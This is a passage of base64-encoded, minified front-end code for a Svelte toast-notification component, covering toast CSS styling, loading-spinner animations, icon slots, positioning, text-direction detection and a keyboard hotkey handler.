uZDp2YXIoLS1lcnJvci1iZyk7Ym9yZGVyLWNvbG9yOnZhcigtLWVycm9yLWJvcmRlcik7Y29sb3I6dmFyKC0tZXJyb3ItdGV4dCl9W2RhdGEtcmljaC1jb2xvcnM9J3RydWUnXVxuXHRcdFtkYXRhLXNvbm5lci10b2FzdF1bZGF0YS10eXBlPSdlcnJvciddXG5cdFx0W2RhdGEtY2xvc2UtYnV0dG9uXXtiYWNrZ3JvdW5kOnZhcigtLWVycm9yLWJnKTtib3JkZXItY29sb3I6dmFyKC0tZXJyb3ItYm9yZGVyKTtjb2xvcjp2YXIoLS1lcnJvci10ZXh0KX0uc29ubmVyLWxvYWRpbmctd3JhcHBlcnstLXNpemU6MTZweDtoZWlnaHQ6dmFyKC0tc2l6ZSk7d2lkdGg6dmFyKC0tc2l6ZSk7cG9zaXRpb246YWJzb2x1dGU7aW5zZXQ6MDt6LWluZGV4OjEwfS5zb25uZXItbG9hZGluZy13cmFwcGVyW2RhdGEtdmlzaWJsZT0nZmFsc2UnXXt0cmFuc2Zvcm0tb3JpZ2luOmNlbnRlcjthbmltYXRpb246c29ubmVyLWZhZGUtb3V0IDAuMnMgZWFzZSBmb3J3YXJkc30uc29ubmVyLXNwaW5uZXJ7cG9zaXRpb246cmVsYXRpdmU7dG9wOjUwJTtsZWZ0OjUwJTtoZWlnaHQ6dmFyKC0tc2l6ZSk7d2lkdGg6dmFyKC0tc2l6ZSl9LnNvbm5lci1sb2FkaW5nLWJhcnthbmltYXRpb246c29ubmVyLXNwaW4gMS4ycyBsaW5lYXIgaW5maW5pdGU7YmFja2dyb3VuZDp2YXIoLS1ncmF5MTEpO2JvcmRlci1yYWRpdXM6NnB4O2hlaWdodDo4JTtsZWZ0Oi0xMCU7cG9zaXRpb246YWJzb2x1dGU7dG9wOi0zLjklO3dpZHRoOjI0JX0uc29ubmVyLWxvYWRpbmctYmFyOm50aC1jaGlsZCgxKXthbmltYXRpb24tZGVsYXk6LTEuMnM7dHJhbnNmb3JtOnJvdGF0ZSgwLjAwMDFkZWcpIHRyYW5zbGF0ZSgxNDYlKX0uc29ubmVyLWxvYWRpbmctYmFyOm50aC1jaGlsZCgyKXthbmltYXRpb24tZGVsYXk6LTEuMXM7dHJhbnNmb3JtOnJvdGF0ZSgzMGRlZykgdHJhbnNsYXRlKDE0NiUpfS5zb25uZXItbG9hZGluZy1iYXI6bnRoLWNoaWxkKDMpe2FuaW1hdGlvbi1kZWxheTotMXM7dHJhbnNmb3JtOnJvdGF0ZSg2MGRlZykgdHJhbnNsYXRlKDE0NiUpfS5zb25uZXItbG9hZGluZy1iYXI6bnRoLWNoaWxkKDQpe2FuaW1hdGlvbi1kZWxheTotMC45czt0cmFuc2Zvcm06cm90YXRlKDkwZGVnKSB0cmFuc2xhdGUoMTQ2JSl9LnNvbm5lci1sb2FkaW5nLWJhcjpudGgtY2hpbGQoNSl7YW5pbWF0aW9uLWRlbGF5Oi0wLjhzO3RyYW5zZm9ybTpyb3RhdGUoMTIwZGVnKSB0cmFuc2xhdGUoMTQ2JSl9LnNvbm5lci1sb2FkaW5nLWJhcjpudGgtY2hpbGQoNil7YW5pbWF0aW9uLWRlbGF5Oi0wLjdzO3RyYW5zZm9ybTpyb3RhdGUoMTUwZGVnKSB0cmFuc2xhdGUoMTQ2JSl9LnNvbm5lci1sb2FkaW5nLWJhcjpudGgtY2hpbGQoNyl7YW5pbWF0aW9uLWRlbGF5Oi0wLjZzO3RyYW5zZm9ybTpyb3RhdGUoMTgwZGVnKSB0cmFuc2xhdGUoMTQ2JSl9LnNvbm5lci1sb2FkaW5nLWJhcjpudGgtY2hpbGQoOCl7YW5pbWF0aW9uLWRlbGF5Oi0wLjVzO3RyYW5zZm9ybTpyb3RhdGUoMjEwZGVnKSB0cmFuc2xhdGUoMTQ2JSl9LnNvbm5lci1sb2FkaW5nLWJhcjpudGgtY2hpbGQoOSl7YW5pbWF0aW9uLWRlbGF5Oi0wLjRzO3RyYW5zZm9ybTpyb3RhdGUoMjQwZGVnKSB0cmFuc2xhdGUoMTQ2JSl9LnNvbm5lci1sb2FkaW5nLWJhcjpudGgtY2hpbGQoMTApe2FuaW1hdGlvbi1kZWxheTotMC4zczt0cmFuc2Zvcm06cm90YXRlKDI3MGRlZykgdHJhbnNsYXRlKDE0NiUpfS5zb25uZXItbG9hZGluZy1iYXI6bnRoLWNoaWxkKDExKXthbmltYXRpb24tZGVsYXk6LTAuMnM7dHJhbnNmb3JtOnJvdGF0ZSgzMDBkZWcpIHRyYW5zbGF0ZSgxNDYlKX0uc29ubmVyLWxvYWRpbmctYmFyOm50aC1jaGlsZCgxMil7YW5pbWF0aW9uLWRlbGF5Oi0wLjFzO3RyYW5zZm9ybTpyb3RhdGUoMzMwZGVnKSB0cmFuc2xhdGUoMTQ2JSl9QGtleWZyYW1lcyBzb25uZXItZmFkZS1pbnswJXtvcGFjaXR5OjA7dHJhbnNmb3JtOnNjYWxlKDAuOCl9MTAwJXtvcGFjaXR5OjE7dHJhbnNmb3JtOnNjYWxlKDEpfX1Aa2V5ZnJhbWVzIHNvbm5lci1mYWRlLW91dHswJXtvcGFjaXR5OjE7dHJhbnNmb3JtOnNjYWxlKDEpfTEwMCV7b3BhY2l0eTowO3RyYW5zZm9ybTpzY2FsZSgwLjgpfX1Aa2V5ZnJhbWVzIHNvbm5lci1zcGluezAle29wYWNpdHk6MX0xMDAle29wYWNpdHk6MC4xNX19QG1lZGlhKHByZWZlcnMtcmVkdWNlZC1tb3Rpb24pe1tkYXRhLXNvbm5lci10b2FzdF0sW2RhdGEtc29ubmVyLXRvYXN0XT4qLC5zb25uZXItbG9hZGluZy1iYXJ7dHJhbnNpdGlvbjpub25lICFpbXBvcnRhbnQ7YW5pbWF0aW9uOm5vbmUgIWltcG9ydGFudH19LnNvbm5lci1sb2FkZXJ7cG9zaXRpb246YWJzb2x1dGU7dG9wOjUwJTtsZWZ0OjUwJTt0cmFuc2Zvcm06dHJhbnNsYXRlKC01MCUsIC01MCUpO3RyYW5zZm9ybS1vcmlnaW46Y2VudGVyO3RyYW5zaXRpb246b3BhY2l0eSAyMDBtcyxcblx0XHRcdHRyYW5zZm9ybSAyMDBtc30uc29ubmVyLWxvYWRlcltkYXRhLXZpc2libGU9J2ZhbHNlJ117b3BhY2l0eTowO3RyYW5zZm9ybTpzY2FsZSgwLjgpIHRyYW5zbGF0ZSgtNTAlLCAtNTAlKX0iKX1mdW5jdGlvbiBVbyh0LGUsbil7Y29uc3Qgcj10LnNsaWNlKCk7cmV0dXJuIHJbOV09ZVtuXSxyWzM5XT1uLHJ9ZnVuY3Rpb24gWG8odCxlLG4pe2NvbnN0IHI9dC5zbGljZSgpO3JldHVybiByWzQwXT1lW25dLHJbMzldPW4scn1jb25zdCBZbz10PT4oe30pLHRhPXQ9Pih7c2xvdDoibG9hZGluZy1pY29uIn0pLGVhPXQ9Pih7fSksbmE9dD0+KHtzbG90OiJzdWNjZXNzLWljb24ifSkscmE9dD0+KHt9KSxvYT10PT4oe3Nsb3Q6ImVycm9yLWljb24ifSksYWE9dD0+KHt9KSxpYT10PT4oe3Nsb3Q6Indhcm5pbmctaWNvbiJ9KSxjYT10PT4oe30pLHNhPXQ9Pih7c2xvdDoiaW5mby1pY29uIn0pO2Z1bmN0aW9uIGRhKHQpe2xldCBlLG4scixvPUJ0KHRbMTZdKSxhPVtdO2ZvcihsZXQgYz0wO2M8by5sZW5ndGg7Yys9MSlhW2NdPXBhKFVvKHQsbyxjKSk7Y29uc3QgaT10PT5NdChhW3RdLDEsMSwoKCk9PnthW3RdPW51bGx9KSk7cmV0dXJue2MoKXtlPUsoInNlY3Rpb24iKTtmb3IobGV0IHQ9MDt0PGEubGVuZ3RoO3QrPTEpYVt0XS5jKCk7aihlLCJhcmlhLWxhYmVsIixuPWBOb3RpZmljYXRpb25zICR7dFsxNV19YCksaihlLCJ0YWJpbmRleCIsLTEpfSxtKHQsbil7SCh0LGUsbik7Zm9yKGxldCByPTA7cjxhLmxlbmd0aDtyKz0xKWFbcl0mJmFbcl0ubShlLG51bGwpO3I9ITB9LHAodCxjKXtpZigxNTk1NzUwMyZjWzBdfDgmY1sxXSl7bGV0IG47Zm9yKG89QnQodFsxNl0pLG49MDtuPG8ubGVuZ3RoO24rPTEpe2NvbnN0IHI9VW8odCxvLG4pO2Fbbl0/KGFbbl0ucChyLGMpLE50KGFbbl0sMSkpOihhW25dPXBhKHIpLGFbbl0uYygpLE50KGFbbl0sMSksYVtuXS5tKGUsbnVsbCkpfWZvcihQdCgpLG49by5sZW5ndGg7bjxhLmxlbmd0aDtuKz0xKWkobik7X3QoKX0oIXJ8fDMyNzY4JmNbMF0mJm4hPT0obj1gTm90aWZpY2F0aW9ucyAke3RbMTVdfWApKSYmaihlLCJhcmlhLWxhYmVsIixuKX0saSh0KXtpZighcil7Zm9yKGxldCB0PTA7dDxvLmxlbmd0aDt0Kz0xKU50KGFbdF0pO3I9ITB9fSxvKHQpe2E9YS5maWx0ZXIoem8pO2ZvcihsZXQgZT0wO2U8YS5sZW5ndGg7ZSs9MSlNdChhW2VdKTtyPSExfSxkKHQpe3QmJkQoZSksZnVuY3Rpb24odCxlKXtmb3IobGV0IG49MDtuPHQubGVuZ3RoO24rPTEpdFtuXSYmdFtuXS5kKGUpfShhLHQpfX19ZnVuY3Rpb24gdWEodCl7bGV0IGU7Y29uc3Qgbj10WzI2XVsibG9hZGluZy1pY29uIl0scj1iKG4sdCx0WzM0XSx0YSksbz1yfHxmdW5jdGlvbih0KXtsZXQgZSxuO3JldHVybiBlPW5ldyB1byh7cHJvcHM6e3Zpc2libGU6ImxvYWRpbmciPT09dFs0MF0udHlwZX19KSx7Yygpe0x0KGUuJCQuZnJhZ21lbnQpfSxtKHQscil7UXQoZSx0LHIpLG49ITB9LHAodCxuKXtjb25zdCByPXt9OzY2NTYwJm5bMF0mJihyLnZpc2libGU9ImxvYWRpbmciPT09dFs0MF0udHlwZSksZS4kc2V0KHIpfSxpKHQpe258fChOdChlLiQkLmZyYWdtZW50LHQpLG49ITApfSxvKHQpe010KGUuJCQuZnJhZ21lbnQsdCksbj0hMX0sZCh0KXtKdChlLHQpfX19KHQpO3JldHVybntjKCl7byYmby5jKCl9LG0odCxuKXtvJiZvLm0odCxuKSxlPSEwfSxwKHQsYSl7cj9yLnAmJighZXx8OCZhWzFdKSYmUihyLG4sdCx0WzM0XSxlP08obix0WzM0XSxhLFlvKTpQKHRbMzRdKSx0YSk6byYmby5wJiYoIWV8fDY2NTYwJmFbMF0pJiZvLnAodCxlP2E6Wy0xLC0xXSl9LGkodCl7ZXx8KE50KG8sdCksZT0hMCl9LG8odCl7TXQobyx0KSxlPSExfSxkKHQpe28mJm8uZCh0KX19fWZ1bmN0aW9uIGxhKHQpe2xldCBlO2NvbnN0IG49dFsyNl1bInN1Y2Nlc3MtaWNvbiJdLHI9YihuLHQsdFszNF0sbmEpLG89cnx8ZnVuY3Rpb24odCl7bGV0IGUsbjtyZXR1cm4gZT1uZXcgb28oe3Byb3BzOnt0eXBlOiJzdWNjZXNzIn19KSx7Yygpe0x0KGUuJCQuZnJhZ21lbnQpfSxtKHQscil7UXQoZSx0LHIpLG49ITB9LHA6VyxpKHQpe258fChOdChlLiQkLmZyYWdtZW50LHQpLG49ITApfSxvKHQpe010KGUuJCQuZnJhZ21lbnQsdCksbj0hMX0sZCh0KXtKdChlLHQpfX19KCk7cmV0dXJue2MoKXtvJiZvLmMoKX0sbSh0LG4pe28mJm8ubSh0LG4pLGU9ITB9LHAodCxvKXtyJiZyLnAmJighZXx8OCZvWzFdKSYmUihyLG4sdCx0WzM0XSxlP08obix0WzM0XSxvLGVhKTpQKHRbMzRdKSxuYSl9LGkodCl7ZXx8KE50KG8sdCksZT0hMCl9LG8odCl7TXQobyx0KSxlPSExfSxkKHQpe28mJm8uZCh0KX19fWZ1bmN0aW9uIFdhKHQpe2xldCBlO2NvbnN0IG49dFsyNl1bImVycm9yLWljb24iXSxyPWIobix0LHRbMzRdLG9hKSxvPXJ8fGZ1bmN0aW9uKHQpe2xldCBlLG47cmV0dXJuIGU9bmV3IG9vKHtwcm9wczp7dHlwZToiZXJyb3IifX0pLHtjKCl7THQoZS4kJC5mcmFnbWVudCl9LG0odCxyKXtRdChlLHQsciksbj0hMH0scDpXLGkodCl7bnx8KE50KGUuJCQuZnJhZ21lbnQsdCksbj0hMCl9LG8odCl7TXQoZS4kJC5mcmFnbWVudCx0KSxuPSExfSxkKHQpe0p0KGUsdCl9fX0oKTtyZXR1cm57Yygpe28mJm8uYygpfSxtKHQsbil7byYmby5tKHQsbiksZT0hMH0scCh0LG8pe3ImJnIucCYmKCFlfHw4Jm9bMV0pJiZSKHIsbix0LHRbMzRdLGU/TyhuLHRbMzRdLG8scmEpOlAodFszNF0pLG9hKX0saSh0KXtlfHwoTnQobyx0KSxlPSEwKX0sbyh0KXtNdChvLHQpLGU9ITF9LGQodCl7byYmby5kKHQpfX19ZnVuY3Rpb24gZmEodCl7bGV0IGU7Y29uc3Qgbj10WzI2XVsid2FybmluZy1pY29uIl0scj1iKG4sdCx0WzM0XSxpYSksbz1yfHxmdW5jdGlvbih0KXtsZXQgZSxuO3JldHVybiBlPW5ldyBvbyh7cHJvcHM6e3R5cGU6Indhcm5pbmcifX0pLHtjKCl7THQoZS4kJC5mcmFnbWVudCl9LG0odCxyKXtRdChlLHQsciksbj0hMH0scDpXLGkodCl7bnx8KE50KGUuJCQuZnJhZ21lbnQsdCksbj0hMCl9LG8odCl7TXQoZS4kJC5mcmFnbWVudCx0KSxuPSExfSxkKHQpe0p0KGUsdCl9fX0oKTtyZXR1cm57Yygpe28mJm8uYygpfSxtKHQsbil7byYmby5tKHQsbiksZT0hMH0scCh0LG8pe3ImJnIucCYmKCFlfHw4Jm9bMV0pJiZSKHIsbix0LHRbMzRdLGU/TyhuLHRbMzRdLG8sYWEpOlAodFszNF0pLGlhKX0saSh0KXtlfHwoTnQobyx0KSxlPSEwKX0sbyh0KXtNdChvLHQpLGU9ITF9LGQodCl7byYmby5kKHQpfX19ZnVuY3Rpb24gaGEodCl7bGV0IGU7Y29uc3Qgbj10WzI2XVsiaW5mby1pY29uIl0scj1iKG4sdCx0WzM0XSxzYSksbz1yfHxmdW5jdGlvbih0KXtsZXQgZSxuO3JldHVybiBlPW5ldyBvbyh7cHJvcHM6e3R5cGU6ImluZm8ifX0pLHtjKCl7THQoZS4kJC5mcmFnbWVudCl9LG0odCxyKXtRdChlLHQsciksbj0hMH0scDpXLGkodCl7bnx8KE50KGUuJCQuZnJhZ21lbnQsdCksbj0hMCl9LG8odCl7TXQoZS4kJC5mcmFnbWVudCx0KSxuPSExfSxkKHQpe0p0KGUsdCl9fX0oKTtyZXR1cm57Yygpe28mJm8uYygpfSxtKHQsbil7byYmby5tKHQsbiksZT0hMH0scCh0LG8pe3ImJnIucCYmKCFlfHw4Jm9bMV0pJiZSKHIsbix0LHRbMzRdLGU/TyhuLHRbMzRdLG8sY2EpOlAodFszNF0pLHNhKX0saSh0KXtlfHwoTnQobyx0KSxlPSEwKX0sbyh0KXtNdChvLHQpLGU9ITF9LGQodCl7byYmby5kKHQpfX19ZnVuY3Rpb24gbWEodCxlKXt2YXIgbixyLG8sYSxpO2xldCBjLHMsZDtyZXR1cm4gcz1uZXcgVm8oe3Byb3BzOntpbmRleDplWzM5XSx0b2FzdDplWzQwXSxpbnZlcnQ6ZVswXSx2aXNpYmxlVG9hc3RzOmVbNF0sY2xvc2VCdXR0b246ZVs1XSxpbnRlcmFjdGluZzplWzEyXSxwb3NpdGlvbjplWzldLGV4cGFuZEJ5RGVmYXVsdDplWzJdLGV4cGFuZGVkOmVbMTFdLGFjdGlvbkJ1dHRvblN0eWxlOihudWxsPT0obj1lWzZdKT92b2lkIDA6bi5hY3Rpb25CdXR0b25TdHlsZSl8fCIiLGNhbmNlbEJ1dHRvblN0eWxlOihudWxsPT0ocj1lWzZdKT92b2lkIDA6ci5jYW5jZWxCdXR0b25TdHlsZSl8fCIiLGNsYXNzOihudWxsPT0obz1lWzZdKT92b2lkIDA6by5jbGFzcyl8fCIiLGRlc2NyaXB0aW9uQ2xhc3M6KG51bGw9PShhPWVbNl0pP3ZvaWQgMDphLmRlc2NyaXB0aW9uQ2xhc3MpfHwiIixjbGFzc2VzOmVbNl0uY2xhc3Nlc3x8e30sZHVyYXRpb246KG51bGw9PShpPWVbNl0pP3ZvaWQgMDppLmR1cmF0aW9uKT8/ZVszXSx1bnN0eWxlZDplWzZdLnVuc3R5bGVkfHwhMSwkJHNsb3RzOnsiaW5mby1pY29uIjpbaGFdLCJ3YXJuaW5nLWljb24iOltmYV0sImVycm9yLWljb24iOltXYV0sInN1Y2Nlc3MtaWNvbiI6W2xhXSwibG9hZGluZy1pY29uIjpbdWFdfSwkJHNjb3BlOntjdHg6ZX19fSkse2tleTp0LGZpcnN0Om51bGwsYygpe2M9VigpLEx0KHMuJCQuZnJhZ21lbnQpLHRoaXMuZmlyc3Q9Y30sbSh0LGUpe0godCxjLGUpLFF0KHMsdCxlKSxkPSEwfSxwKHQsbil7dmFyIHIsbyxhLGksYztlPXQ7Y29uc3QgZD17fTs2NjU2MCZuWzBdJiYoZC5pbmRleD1lWzM5XSksNjY1NjAmblswXSYmKGQudG9hc3Q9ZVs0MF0pLDEmblswXSYmKGQuaW52ZXJ0PWVbMF0pLDE2Jm5bMF0mJihkLnZpc2libGVUb2FzdHM9ZVs0XSksMzImblswXSYmKGQuY2xvc2VCdXR0b249ZVs1XSksNDA5NiZuWzBdJiYoZC5pbnRlcmFjdGluZz1lWzEyXSksNjU1MzYmblswXSYmKGQucG9zaXRpb249ZVs5XSksNCZuWzBdJiYoZC5leHBhbmRCeURlZmF1bHQ9ZVsyXSksMjA0OCZuWzBdJiYoZC5leHBhbmRlZD1lWzExXSksNjQmblswXSYmKGQuYWN0aW9uQnV0dG9uU3R5bGU9KG51bGw9PShyPWVbNl0pP3ZvaWQgMDpyLmFjdGlvbkJ1dHRvblN0eWxlKXx8IiIpLDY0Jm5bMF0mJihkLmNhbmNlbEJ1dHRvblN0eWxlPShudWxsPT0obz1lWzZdKT92b2lkIDA6by5jYW5jZWxCdXR0b25TdHlsZSl8fCIiKSw2NCZuWzBdJiYoZC5jbGFzcz0obnVsbD09KGE9ZVs2XSk/dm9pZCAwOmEuY2xhc3MpfHwiIiksNjQmblswXSYmKGQuZGVzY3JpcHRpb25DbGFzcz0obnVsbD09KGk9ZVs2XSk/dm9pZCAwOmkuZGVzY3JpcHRpb25DbGFzcyl8fCIiKSw2NCZuWzBdJiYoZC5jbGFzc2VzPWVbNl0uY2xhc3Nlc3x8e30pLDcyJm5bMF0mJihkLmR1cmF0aW9uPShudWxsPT0oYz1lWzZdKT92b2lkIDA6Yy5kdXJhdGlvbik/P2VbM10pLDY0Jm5bMF0mJihkLnVuc3R5bGVkPWVbNl0udW5zdHlsZWR8fCExKSw2NjU2MCZuWzBdfDgmblsxXSYmKGQuJCRzY29wZT17ZGlydHk6bixjdHg6ZX0pLHMuJHNldChkKX0saSh0KXtkfHwoTnQocy4kJC5mcmFnbWVudCx0KSxkPSEwKX0sbyh0KXtNdChzLiQkLmZyYWdtZW50LHQpLGQ9ITF9LGQodCl7dCYmRChjKSxKdChzLHQpfX19ZnVuY3Rpb24gcGEodCl7bGV0IGUsbixyLG8sYSxpLGMscyxkLHUsbCxXPVtdLGY9bmV3IE1hcDtmdW5jdGlvbiBtKC4uLmUpe3JldHVybiB0WzI3XSh0WzM5XSx0WzldLC4uLmUpfWxldCBwPUJ0KHRbMTBdLmZpbHRlcihtKSk7Y29uc3QgZz10PT50WzQwXS5pZDtmb3IobGV0IGg9MDtoPHAubGVuZ3RoO2grPTEpe2xldCBlPVhvKHQscCxoKSxuPWcoZSk7Zi5zZXQobixXW2hdPW1hKG4sZSkpfWxldCB2PVt7dGFiaW5kZXg6cj0tMX0se2NsYXNzOm89dFsyMl0uY2xhc3N9LHsiZGF0YS1zb25uZXItdG9hc3RlciI6IiJ9LHsiZGF0YS10aGVtZSI6dFsxM119LHsiZGF0YS1yaWNoLWNvbG9ycyI6dFsxXX0se2RpcjphPSJhdXRvIj09PXRbOF0/YmEoKTp0WzhdfSx7ImRhdGEteS1wb3NpdGlvbiI6aT10WzldLnNwbGl0KCItIilbMF19LHsiZGF0YS14LXBvc2l0aW9uIjpjPXRbOV0uc3BsaXQoIi0iKVsxXX0se3N0eWxlOnM9dFsyMl0uc3R5bGV9LHRbMjNdXSx5PXt9O2ZvcihsZXQgaz0wO2s8di5sZW5ndGg7ays9MSl5PWgoeSx2W2tdKTtyZXR1cm57Yygpe3ZhciByO2U9Sygib2wiKTtmb3IobGV0IHQ9MDt0PFcubGVuZ3RoO3QrPTEpV1t0XS5jKCk7bj1JKCksWChlLHkpLGV0KGUsIi0tZnJvbnQtdG9hc3QtaGVpZ2h0IixgJHtudWxsPT0ocj10WzE3XVswXSk/dm9pZCAwOnIuaGVpZ2h0fXB4YCksZXQoZSwiLS1vZmZzZXQiLCJudW1iZXIiPT10eXBlb2YgdFs3XT9gJHt0WzddfXB4YDp0WzddfHx2YSksZXQoZSwiLS13aWR0aCIsYCR7eWF9cHhgKSxldChlLCItLWdhcCIsYCR7Q2F9cHhgKX0sbShyLG8pe0gocixlLG8pO2ZvcihsZXQgdD0wO3Q8Vy5sZW5ndGg7dCs9MSlXW3RdJiZXW3RdLm0oZSxudWxsKTtBKGUsbiksdFsyOF0oZSksZD0hMCx1fHwobD1beihlLCJibHVyIix0WzIwXSkseihlLCJmb2N1cyIsdFsyMV0pLHooZSwibW91c2VlbnRlciIsdFsyOV0pLHooZSwibW91c2Vtb3ZlIix0WzMwXSkseihlLCJtb3VzZWxlYXZlIix0WzMxXSkseihlLCJwb2ludGVyZG93biIsdFszMl0pLHooZSwicG9pbnRlcnVwIix0WzMzXSldLHU9ITApfSxwKHIsdSl7dmFyIGw7dD1yLDcyODI5JnVbMF18OCZ1WzFdJiYocD1CdCh0WzEwXS5maWx0ZXIobSkpLFB0KCksVz1xdChXLHUsZywxLHQscCxmLGUsVHQsbWEsbixYbyksX3QoKSksWChlLHk9QXQodixbe3RhYmluZGV4Oi0xfSwoIWR8fDQxOTQzMDQmdVswXSYmbyE9PShvPXRbMjJdLmNsYXNzKSkmJntjbGFzczpvfSx7ImRhdGEtc29ubmVyLXRvYXN0ZXIiOiIifSwoIWR8fDgxOTImdVswXSkmJnsiZGF0YS10aGVtZSI6dFsxM119LCghZHx8MiZ1WzBdKSYmeyJkYXRhLXJpY2gtY29sb3JzIjp0WzFdfSwoIWR8fDI1NiZ1WzBdJiZhIT09KGE9ImF1dG8iPT09dFs4XT9iYSgpOnRbOF0pKSYme2RpcjphfSwoIWR8fDY1NTM2JnVbMF0mJmkhPT0oaT10WzldLnNwbGl0KCItIilbMF0pKSYmeyJkYXRhLXktcG9zaXRpb24iOml9LCghZHx8NjU1MzYmdVswXSYmYyE9PShjPXRbOV0uc3BsaXQoIi0iKVsxXSkpJiZ7ImRhdGEteC1wb3NpdGlvbiI6Y30sKCFkfHw0MTk0MzA0JnVbMF0mJnMhPT0ocz10WzIyXS5zdHlsZSkpJiZ7c3R5bGU6c30sODM4ODYwOCZ1WzBdJiZ0WzIzXV0pKSxldChlLCItLWZyb250LXRvYXN0LWhlaWdodCIsYCR7bnVsbD09KGw9dFsxN11bMF0pP3ZvaWQgMDpsLmhlaWdodH1weGApLGV0KGUsIi0tb2Zmc2V0IiwibnVtYmVyIj09dHlwZW9mIHRbN10/YCR7dFs3XX1weGA6dFs3XXx8dmEpLGV0KGUsIi0td2lkdGgiLGAke3lhfXB4YCksZXQoZSwiLS1nYXAiLGAke0NhfXB4YCl9LGkodCl7aWYoIWQpe2ZvcihsZXQgdD0wO3Q8cC5sZW5ndGg7dCs9MSlOdChXW3RdKTtkPSEwfX0sbyh0KXtmb3IobGV0IGU9MDtlPFcubGVuZ3RoO2UrPTEpTXQoV1tlXSk7ZD0hMX0sZChuKXtuJiZEKGUpO2ZvcihsZXQgdD0wO3Q8Vy5sZW5ndGg7dCs9MSlXW3RdLmQoKTt0WzI4XShudWxsKSx1PSExLGsobCl9fX1mdW5jdGlvbiBrYSh0KXtsZXQgZSxuLHI9dFsxMF0ubGVuZ3RoPjAmJmRhKHQpO3JldHVybntjKCl7ciYmci5jKCksZT1WKCl9LG0odCxvKXtyJiZyLm0odCxvKSxIKHQsZSxvKSxuPSEwfSxwKHQsbil7dFsxMF0ubGVuZ3RoPjA/cj8oci5wKHQsbiksMTAyNCZuWzBdJiZOdChyLDEpKToocj1kYSh0KSxyLmMoKSxOdChyLDEpLHIubShlLnBhcmVudE5vZGUsZSkpOnImJihQdCgpLE10KHIsMSwxLCgoKT0+e3I9bnVsbH0pKSxfdCgpKX0saSh0KXtufHwoTnQociksbj0hMCl9LG8odCl7TXQociksbj0hMX0sZCh0KXt0JiZEKGUpLHImJnIuZCh0KX19fWNvbnN0IGdhPTMsdmE9IjMycHgiLHlhPTM1NixDYT0xNCx4YT0iZGFyayIsU2E9ImxpZ2h0IjtmdW5jdGlvbiBiYSgpe2lmKCJ1bmRlZmluZWQiPT10eXBlb2Ygd2luZG93KXJldHVybiJsdHIiO2lmKCJ1bmRlZmluZWQiPT10eXBlb2YgZG9jdW1lbnQpcmV0dXJuImx0ciI7Y29uc3QgdD1kb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuZ2V0QXR0cmlidXRlKCJkaXIiKTtyZXR1cm4iYXV0byIhPT10JiZ0P3Q6d2luZG93LmdldENvbXB1dGVkU3R5bGUoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KS5kaXJlY3Rpb259ZnVuY3Rpb24gd2EodCxlLG4pe2xldCByLG87Y29uc3QgYT1bImludmVydCIsInRoZW1lIiwicG9zaXRpb24iLCJob3RrZXkiLCJyaWNoQ29sb3JzIiwiZXhwYW5kIiwiZHVyYXRpb24iLCJ2aXNpYmxlVG9hc3RzIiwiY2xvc2VCdXR0b24iLCJ0b2FzdE9wdGlvbnMiLCJvZmZzZXQiLCJkaXIiXTtsZXQgaSxjLHM9TihlLGEpLHskJHNsb3RzOmQ9e30sJCRzY29wZTp1fT1lLHtpbnZlcnQ6bD0hMX09ZSx7dGhlbWU6Vz0ibGlnaHQifT1lLHtwb3NpdGlvbjpmPSJib3R0b20tcmlnaHQifT1lLHtob3RrZXk6bT1bImFsdEtleSIsIktleVQiXX09ZSx7cmljaENvbG9yczpwPSExfT1lLHtleHBhbmQ6az0hMX09ZSx7ZHVyYXRpb246Zz00ZTN9PWUse3Zpc2libGVUb2FzdHM6dj1nYX09ZSx7Y2xvc2VCdXR0b246eT0hMX09ZSx7dG9hc3RPcHRpb25zOkM9e319PWUse29mZnNldDp4PW51bGx9PWUse2RpcjpiPWJhKCl9PWU7Y29uc3R7dG9hc3RzOncsaGVpZ2h0czpPLHJlc2V0OlJ9PW1vO1ModCx3LCh0PT5uKDEwLGk9dCkpKSxTKHQsTywodD0+bigxNyxjPXQpKSk7bGV0IFA9ITEsTT0hMSxHPSJzeXN0ZW0iIT09KEU9Vyk/RToidW5kZWZpbmVkIiE9dHlwZW9mIHdpbmRvdyYmd2luZG93Lm1hdGNoTWVkaWEmJndpbmRvdy5tYXRjaE1lZGlhKCIocHJlZmVycy1jb2xvci1zY2hlbWU6IGRhcmspIikubWF0Y2hlcz94YTpTYTt2YXIgRTtsZXQgQixUPW51bGwscT0hMTtsdCgoKCk9PntCJiZUJiYoVC5mb2N1cyh7cHJldmVudFNjcm9sbDohMH0pLFQ9bnVsbCxxPSExKX0pKSx1dCgoKCk9PntSKCk7Y29uc3QgdD10PT57bS5ldmVyeSgoZT0+dFtlXXx8dC5jb2RlPT09ZSkpJiYobigxMSxQPSEwKSxudWxsPT1CfHxCLmZvY3VzKCkpLCJFc2NhcGUiIT09dC5jb2RlfHxkb2N1bWVudC5hY3RpdmVFbGVtZW50IT09QiYmIShudWxsPT1CP3ZvaWQgMDpCLmNvbnRhaW5zKGRvY3VtZW50LmFjdGl2ZUVsZW1lbnQpKXx8bigxMSxQPSExKX07cmV0dXJuIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImtleWRvd24iLHQpLCgpPT57ZG9jdW1lbnQucmVtb3ZlRXZlbnRMaXN0ZW5lcigia2V5ZG93biIsdCl9fSkpO3JldHVybiB0LiQkc2V0PXQ9PntuKDIyLGU9aChoKHt9LGUpLF8odCkpKSxuKDIzLHM9TihlLGEpKSwiaW52ZXJ0ImluIHQmJm4oMCxsPXQuaW52ZXJ0KSwidGhlbWUiaW4gdCYmbigyNCxXPXQudGhlbWUpLCJwb3NpdGlvbiJpbiB0JiZuKDksZj10LnBvc2l0aW9uKSwiaG90a2V5ImluIHQmJm4oMjUsbT10LmhvdGtleSksInJpY2hDb2xvcnMiaW4gdCYmbigxLHA9dC5yaWNoQ29sb3JzKSwiZXhwYW5kImluIHQmJm4oMixrPXQuZXhwYW5kKSwiZHVyYXRpb24iaW4gdCYmbigzLGc9dC5kdXJhdGlvbiksInZpc2libGVUb2FzdHMiaW4gdCYmbig0LHY9dC52aXNpYmxlVG9hc3RzKSwiY2xvc2VCdXR0b24iaW4gdCYmbig1LHk9dC5jbG9zZUJ1dHRvbiksInRvYXN0T3B0aW9ucyJpbiB0JiZuKDYsQz10LnRvYXN0T3B0aW9ucyksIm9mZnNldCJpbiB0JiZuKDcseD10Lm9mZnNldCksImRpciJpbiB0JiZuKDgsYj10LmRpciksIiQkc2NvcGUiaW4gdCYmbigzNCx1PXQuJCRzY29wZSl9LHQuJCQudXBkYXRlPSgpPT57aWYoMTUzNiZ0L